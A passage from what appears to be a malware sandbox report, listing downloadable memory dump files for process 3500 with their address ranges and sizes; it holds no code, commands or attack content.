1.6MB

Download
memory/3500-192-0x0000000007410000-0x0000000007476000-memory.dmp

Filesize
408KB

Download
memory/3500-193-0x0000000007580000-0x00000000075E6000-memory.dmp

Filesize
408KB

Download
memory/3500-194-0x0000000007690000-0x00000000079E0000-memory.dmp

Filesize
3.3MB

Download
memory/3500-195-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-196-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-197-0x0000000007610000-0x000000000762C000-memory.dmp

Filesize
112KB

Download
memory/3500-198-0x0000000007AE0000-0x0000000007B2B000-memory.dmp

Filesize
300KB

Download
memory/3500-199-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-200-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-201-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-202-0x0000000007D30000-0x0000000007DA6000-memory.dmp

Filesize
472KB

Download
memory/3500-203-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-204-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-205-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-206-0x0000000077710000-0x000000007789E000-memory.dmp

Filesize
1.6MB

Download
memory/3500-213-0x0000000009490000-0x0000000009B08000-memory.dmp

Filesize
6.5MB

Download
memory/3500-214-0x0000000008BF0000-0x0000000008C0A000-memory.dmp

Filesize
104KB

Download
memory/3500-219-0x0000000008F40000-0x0000000008FD4000-memory.dmp

Filesize
592KB

Download
memory/3500-220-0x0000000008ED0000-0x0000000008EF2000-memory.dmp

Filesize
136KB

Download
memory/3500-221-0x000000000D280000-0x000000000D77E000-memory.dmp

Filesize
5.0MB

Download
memory/3500-408-0x0000000009B10000-0x000000000CD73000-memory.dmp

Filesize
50.4MB

Download